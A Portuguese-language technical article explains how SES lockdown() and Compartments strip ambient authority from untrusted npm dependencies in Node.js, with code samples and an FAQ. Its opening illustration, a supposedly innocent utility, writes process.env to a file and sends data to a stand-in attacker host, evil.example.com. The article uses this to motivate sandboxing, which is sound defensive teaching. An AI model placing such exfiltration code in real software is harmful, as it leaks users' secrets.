Uma única dependência transitiva comprometida pode exfiltrar seu process.env, escrever no seu sistema de arquivos e abrir conexões de saída. Ela não precisa de uma vulnerabilidade no seu código. Ela só precisa existir dentro do mesmo processo. Em JavaScript, cada module herda por padrão a autoridade completa do runtime. Isso é a autoridade ambiente, e removê-la é uma das melhorias de segurança mais efetivas que você pode fazer em uma aplicação Node.js.
Como a autoridade ambiente se parece em JavaScript
Autoridade ambiente significa que os direitos de acesso não estão atrelados ao que foi dado a você. Eles estão atrelados a onde você está executando. Qualquer código dentro de um processo Node.js pode alcançar fs, http, child_process ou process.env sem pedir permissão. O runtime torna esses globais disponíveis para cada module, confiável ou não.
// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';
function innocentUtility(data) {
fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
return data.toUpperCase();
}
A função innocentUtility foi importada para converter uma string para maiúsculas. Como ela executa dentro de um processo Node.js, ela também tem o poder de ler variáveis de ambiente e se comunicar com o exterior. Não há sandbox. Não há modelo de permissões. O código simplesmente assumiu esses poderes porque o runtime os colocou ao alcance.
Isso não é hipotético. Ataques na cadeia de suprimentos do npm exploram regularmente exatamente essa propriedade. Uma dependência maliciosa ou comprometida não precisa de um zero-day. Ela só precisa ser required.
Lockdown: o primeiro corte
O shim SES (Secure ECMAScript), mantido pela Agoric, fornece uma função lockdown() que endurece o ambiente JavaScript. Ela congela cada protótipo embutido, remove globais perigosos como eval e o construtor Function, e previne a poluição de protótipos. Após o lockdown, seu próprio código não pode mais alterar acidental ou maliciosamente Array.prototype ou Object.prototype.
import 'ses';
lockdown();
// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');
// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};
O lockdown é poderoso, mas não é suficiente por si só. Ele previne a manipulação do ambiente compartilhado, mas não remove a autoridade ambiente. Um module bloqueado ainda pode executar import fs from 'node:fs' e ler seu disco. O lockdown protege a linguagem. Ele não protege o host.
Compartments: despojando o host
Um Compartment é um novo ambiente de execução JavaScript com seu próprio escopo global. Ao contrário de um contexto vm ou um Web Worker, um compartment compartilha o mesmo event loop e o mesmo heap de memória, mas começa com nada. Sem console, sem fetch, sem process. Você deve dotá-lo explicitamente de cada capability que ele tem permissão para usar.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
const compartment = new Compartment({
// Only these globals exist inside the compartment.
console,
Math,
JSON,
});
// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
// This throws: fetch is not defined.
// fetch('https://evil.example.com');
// This works: Math was endowed.
Math.sqrt(16)
`);
console.log(result); // 4
O compartment não pode tocar o sistema de arquivos, a rede ou process.env porque essas capabilities nunca foram passadas para ele. Se o código dentro do compartment for comprometido, o raio de impacto é limitado pelo que você dotou.
Carregando modules não confiáveis com segurança
A defesa real da cadeia de suprimentos significa carregar código de terceiros dentro de um compartment e dar a ele apenas a autoridade de que ele realmente precisa. Aqui está um padrão que funciona com CommonJS ou bundles ESM.
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
// A constrained filesystem capability.
function createScopedReader(baseDir) {
return {
readFile(filename) {
const path = require('node:path').join(baseDir, filename);
// In production, validate the resolved path is inside baseDir.
return readFileSync(path, 'utf-8');
}
};
}
const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');
const compartment = new Compartment({
console: {
log: (...args) => console.log('[plugin]', ...args)
},
fs: createScopedReader('./data/readonly/'),
});
// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);
O código do vendor vive no mesmo processo, mas opera dentro de um limite de capabilities. Ele não pode abrir sockets. Ele não pode ler o package.json do seu repository. Ele só pode ler os arquivos que você explicitamente limitou e escrever logs através do wrapper que você forneceu.
Isso não é um endurecimento teórico. A blockchain da Agoric usa este modelo para sua plataforma de smart contracts. Cada smart contract executa dentro de um compartment bloqueado com capabilities explicitamente dotadas.
Os trade-offs que você enfrentará
Compartments não são gratuitos. O shim SES aplica patches em protótipos e reescreve alguns comportamentos embutidos, o que adiciona um pequeno custo de inicialização. Mais importante ainda, muitos packages npm assumem autoridade ambiente. Eles alcançam process, Buffer ou setImmediate sem importá-los. Quando esses globais estão ausentes, o código falha.
Você tem três escolhas. Primeira, polyfill os globais ausentes dentro do compartment com implementações seguras. Segunda, dotar os globais reais e aceitar o risco. Terceira, auditar a dependência e corrigir suas suposições.
Na maioria das vezes, a dependência só precisa de Buffer ou setTimeout. Esses são seguros para dotar. Os perigosos são fs, net, child_process e process.env. Esses nunca devem entrar em um compartment a menos que o código dentro realmente precise deles, e mesmo assim você deve envolvê-los.
A depuração também fica mais difícil. Os stack traces de dentro de um compartment apontam para strings avaliadas ou fontes virtualizadas. O suporte a source maps do Node.js moderno ajuda, mas você vai gastar tempo mapeando números de linha quando as coisas derem errado.
Onde isso falha
Addons nativos e modules WASM contornam completamente o runtime JavaScript. Um arquivo .node carregado com require executa fora do compartment SES e retém a autoridade ambiente completa. Se você precisar isolar código nativo, compartments não são a resposta. Você precisa de isolamento do sistema operacional: seccomp, Landlock ou um processo separado.
Compartments também compartilham o mesmo heap e o mesmo event loop. Um compartment ainda pode esgotar a CPU com um loop infinito ou alocar memória até o processo falhar. O SES fornece medidores de compute para limitar a execução, mas o compartment padrão não impõe limites de recursos. É um limite de segurança, não um limite de recursos.
Um ponto de partida prático
Você não precisa reescrever toda a sua aplicação. Comece com as dependências de maior risco: qualquer coisa que analise entradas não confiáveis, qualquer coisa carregada dinamicamente, e qualquer coisa de um publicador que você não reconheça.
import 'ses';
lockdown();
function runUntrusted(pluginCode, userData) {
const compartment = new Compartment({
JSON,
Array,
Object,
// No fetch, no fs, no process.
});
// The plugin receives data and returns a result.
// It cannot phone home. It cannot read files.
return compartment.evaluate(`
(${pluginCode})(${JSON.stringify(userData)})
`);
}
Envolva seu sistema de plugins, seu motor de templates ou seus scripts fornecidos pelo usuário. Dê a cada um um compartment com a autoridade mínima necessária para fazer seu trabalho. Se uma dependência não funcionar dentro de um compartment, isso é um sinal. Ela foi escrita assumindo que possuía todo o processo. Essa suposição é exatamente o que você está tentando remover.
FAQ
Qual é a diferença entre um Compartment e o module vm do Node?
vm cria um novo contexto com um objeto global fresco, mas ainda tem acesso à API completa do Node.js a menos que você a remova explicitamente. Compartments começam vazios e requerem endowments explícitos. Eles também se integram com o lockdown do SES para prevenir a manipulação de protótipos em todo o runtime.
Isso funciona com TypeScript ou bundlers?
Sim. Compartments avaliam JavaScript, então você compila o TypeScript primeiro. Bundlers como Rollup ou esbuild podem agrupar uma dependência em um único arquivo, que você então carrega em um compartment. O bundler remove imports dinâmicos, o que na verdade facilita o sandboxing com compartments.
Posso revogar uma capability depois de concedê-la?
Não diretamente. Uma capability passada para um compartment é uma referência a um objeto JavaScript. Se você precisar de revogação, envolva a capability em um proxy ou wrapper com token que verifique uma flag em cada acesso. Esse é o mesmo problema de revogação que todos os sistemas de capabilities enfrentam.
O SES está pronto para produção?
O SES está em execução em produção na blockchain da Agoric desde 2021. O package ses no npm é ativamente mantido. Ele passa pelo processo de propostas do TC39 para a padronização do JavaScript, embora ainda não faça parte da especificação da linguagem.
Isso substitui a conteinerização?
Não. Compartments são um limite de segurança a nível de processo. containers são um limite do sistema operacional. Use compartments para limitar o que o código dentro do seu processo pode fazer. Use containers para limitar o que o processo em si pode fazer. Eles se complementam.
A autoridade ambiente é o padrão em JavaScript porque é conveniente. Conveniência e segurança não são a mesma coisa. Lockdown e compartments permitem que você remova o poder ambiente que cada module herda por padrão e o substitua por capabilities explícitas, limitadas e auditáveis. Comece com uma dependência não confiável. Coloque-a em um compartment. Tire o fs e o fetch dela. Veja o que realmente quebra. Na maioria das vezes, o que quebra é uma suposição que sua dependência nunca teve o direito de fazer.